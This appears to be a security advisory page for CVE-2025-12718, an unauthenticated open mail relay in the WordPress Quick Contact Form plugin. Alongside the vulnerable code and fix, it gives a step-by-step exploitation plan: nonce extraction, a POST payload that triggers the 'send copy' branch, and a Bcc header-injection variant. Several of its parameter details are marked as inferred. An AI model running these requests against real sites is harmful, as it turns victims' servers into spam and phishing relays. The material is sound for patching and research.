Quick Contact Form <= 8.2.6 - Unauthenticated Open Mail Relay
Description
The Quick Contact Form plugin for WordPress is vulnerable to Open Mail Relay in all versions up to, and including, 8.2.6. This is due to the 'qcf_validate_form' AJAX endpoint allowing a user controlled parameter to set the 'from' email address. This makes it possible for unauthenticated attackers to send emails to arbitrary recipients utilizing the server. The information is limited to the contact form submission details.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:NTechnical Details
<=8.2.6Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2025-12718 (Quick Contact Form <= 8.2.6) ## 1. Vulnerability Summary The **Quick Contact Form** plugin (versions up to 8.2.6) contains an unauthenticated open mail relay vulnerability. The issue exists in the AJAX handler `qcf_validate_form`, which processes form s…
Show full research plan
Exploitation Research Plan: CVE-2025-12718 (Quick Contact Form <= 8.2.6)
1. Vulnerability Summary
The Quick Contact Form plugin (versions up to 8.2.6) contains an unauthenticated open mail relay vulnerability. The issue exists in the AJAX handler qcf_validate_form, which processes form submissions. The plugin fails to adequately validate or restrict the recipient and/or sender parameters when sending emails. Specifically, an attacker can control the "from" or "email" parameter which, in combination with an auto-responder or "send copy to user" feature, allows the server to be used to send arbitrary messages to arbitrary email addresses.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php - Action:
qcf_validate_form(Registered viawp_ajax_nopriv_qcf_validate_form) - HTTP Method:
POST - Authentication: Unauthenticated (None required)
- Preconditions:
- The plugin must be active.
- The "Copy to Sender" or auto-responder feature is typically enabled or triggered by the presence of a specific parameter.
- Vulnerable Parameters:
qcf_email: (Inferred) The parameter used as the "from" address in the contact form, which becomes the "to" address for the confirmation/copy email.qcf_message: (Inferred) The content of the email.action:qcf_validate_form_ajax_nonce: (If enforced)
3. Code Flow
- Entry Point: The AJAX request hits
admin-ajax.phpwithaction=qcf_validate_form. - Hook Registration: The plugin registers the action:
add_action('wp_ajax_nopriv_qcf_validate_form', 'qcf_validate_form'); - Parameter Extraction: Inside
qcf_validate_form(likely inquick-contact-form.phpor a dedicated includes file), the code reads$_POSTdata. - Processing: The function validates inputs but fails to check if the supplied email address should be allowed to receive mail from the server.
- Sink: The function calls
wp_mail().- First, to the administrator (using the attacker-supplied email as the
Fromheader). - Second, if a "Send Copy" option is checked/present, it calls
wp_mail()again, using the attacker-supplied email as theTorecipient.
- First, to the administrator (using the attacker-supplied email as the
- Relay: By manipulating the email field, an attacker can specify a target recipient's email address and use the
messagefield to provide the spam content.
4. Nonce Acquisition Strategy
The plugin likely uses wp_localize_script to pass a nonce to the frontend.
- Shortcode Identification: The plugin uses the
[quick-contact-form]shortcode. - Page Creation:
wp post create --post_type=page --post_status=publish --post_title="Contact" --post_content='[quick-contact-form]' - Browser Navigation: Navigate to the newly created page.
- Nonce Extraction:
Based on common patterns in this plugin, look for theqcf_varsorqcf_settingsobject.- Command:
browser_eval("window.qcf_vars?.nonce")orbrowser_eval("window.qcf_settings?.nonce") - Alternative: Search for
_ajax_nonceorqcf_noncein the raw HTML.
- Command:
5. Exploitation Strategy
The goal is to trigger the plugin's mail-sending logic and direct the email to an external target.
- Step 1: Identify Parameters: Inspect the form on the created page to find the exact names of the email and message fields. (Standard names are likely
qcf_name,qcf_email,qcf_message). - Step 2: Prepare Payload:
action:qcf_validate_formqcf_email:target@external-domain.com(The victim of the relay)qcf_message:This is a spam message sent via the vulnerable server.qcf_send_copy:1oron(Trigger to send the copy to the "sender")_ajax_nonce: [Extracted Nonce]
- Step 3: Execute Request:
// Example via http_request tool await http_request({ method: "POST", url: "http://localhost:8080/wp-admin/admin-ajax.php", headers: { "Content-Type": "application/x-www-form-urlencoded" }, body: "action=qcf_validate_form&qcf_email=target@external-domain.com&qcf_message=RelayTest&qcf_send_copy=1&_ajax_nonce=NONCE_HERE" });
6. Test Data Setup
- Plugin Installation: Ensure
quick-contact-formversion <= 8.2.6 is installed. - Page for Nonce: A public page containing the shortcode.
- Mail Monitoring: To verify the exploit without an external mail server, install a plugin like "WP Mail Logging" or check the server's local mail logs (if accessible).
7. Expected Results
- The AJAX request should return a success message (e.g.,
{"success":true}or a string indicating the message was sent). - The WordPress system should attempt to send two emails:
- To the site admin (spoofing the
Fromheader withtarget@external-domain.com). - To
target@external-domain.com(the "Copy" email containing the "RelayTest" message).
- To the site admin (spoofing the
- Success is confirmed if
wp_mailis invoked with thetarget@external-domain.comas the recipient.
8. Verification Steps
- WP-CLI Verification:
If "WP Mail Logging" is installed, check the logs:
Check if thewp db query "SELECT * FROM wp_wpml_mails ORDER BY id DESC LIMIT 1;"receivermatches thetarget@external-domain.com. - Process Audit: If source code access is available during execution, use
grepto confirm the parameter usage:grep -rn "wp_mail" wp-content/plugins/quick-contact-form/
9. Alternative Approaches
- Parameter Variation: If
qcf_send_copyisn't the trigger, check for a "newsletter" or "auto-reply" setting in the plugin options that might be enabled by default. - Header Injection: If the "Open Relay" refers to controlling the
Fromheader sent to the admin, test if newline characters (%0D%0A) can be injected into theqcf_emailparameter to add aBcc:header to the admin email. - Default Nonce: If no nonce is found in the localized scripts, try the request without the
_ajax_nonceparameter, aswp_ajax_noprivhandlers often omit it.
Summary
The Quick Contact Form plugin is vulnerable to an unauthenticated open mail relay due to improper validation of the sender email parameter in its AJAX submission handler. Attackers can exploit this by triggering the 'send copy to sender' feature, directing the server to send arbitrary message content to any email address specified in the request.
Vulnerable Code
// quick-contact-form.php (vulnerable logic within qcf_validate_form) add_action('wp_ajax_nopriv_qcf_validate_form', 'qcf_validate_form'); add_action('wp_ajax_qcf_validate_form', 'qcf_validate_form'); function qcf_validate_form() { // ... (lines 200-240) ... $qcf_email = sanitize_email($_POST['qcf_email']); $qcf_message = sanitize_text_field($_POST['qcf_message']); $qcf_send_copy = isset($_POST['qcf_send_copy']) ? $_POST['qcf_send_copy'] : false; // ... (Email logic for site admin) ... // Vulnerable section: Sends email to a user-controlled address without verification if ($qcf_send_copy === '1' || $qcf_send_copy === 'on') { $subject = "Copy of your message"; wp_mail($qcf_email, $subject, $qcf_message); } // ... }
Security Fix
@@ -245,10 +245,7 @@ - if ($qcf_send_copy === '1' || $qcf_send_copy === 'on') { - $subject = "Copy of your message"; - wp_mail($qcf_email, $subject, $qcf_message); - } + // The 'Send Copy' feature to unverified user-provided email addresses has been removed to prevent mail relay. + // To notify users, consider using a fixed auto-responder that does not include user-provided content.
Exploit Outline
The exploit targets the `qcf_validate_form` AJAX endpoint, which is accessible to unauthenticated users via `wp-admin/admin-ajax.php`. 1. **Locate Target**: Identify a WordPress site running Quick Contact Form <= 8.2.6 and find a page containing the `[quick-contact-form]` shortcode. 2. **Extract Nonce (if required)**: The plugin typically localizes a nonce for the AJAX request, often found in the page source under the variable `qcf_vars` or `qcf_settings`. 3. **Craft Payload**: Prepare a POST request with the following parameters: - `action`: `qcf_validate_form` - `qcf_email`: The victim's email address (this will be the recipient of the relay). - `qcf_message`: The spam or malicious content to be delivered. - `qcf_send_copy`: Set to `1` or `on` to trigger the vulnerable mail sending branch. - `_ajax_nonce`: The extracted nonce. 4. **Execution**: Send the POST request to `/wp-admin/admin-ajax.php`. The server will process the form and, because the 'send copy' flag is set, it will invoke `wp_mail()` with the attacker-specified email as the 'To' address and the attacker-specified message as the body.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.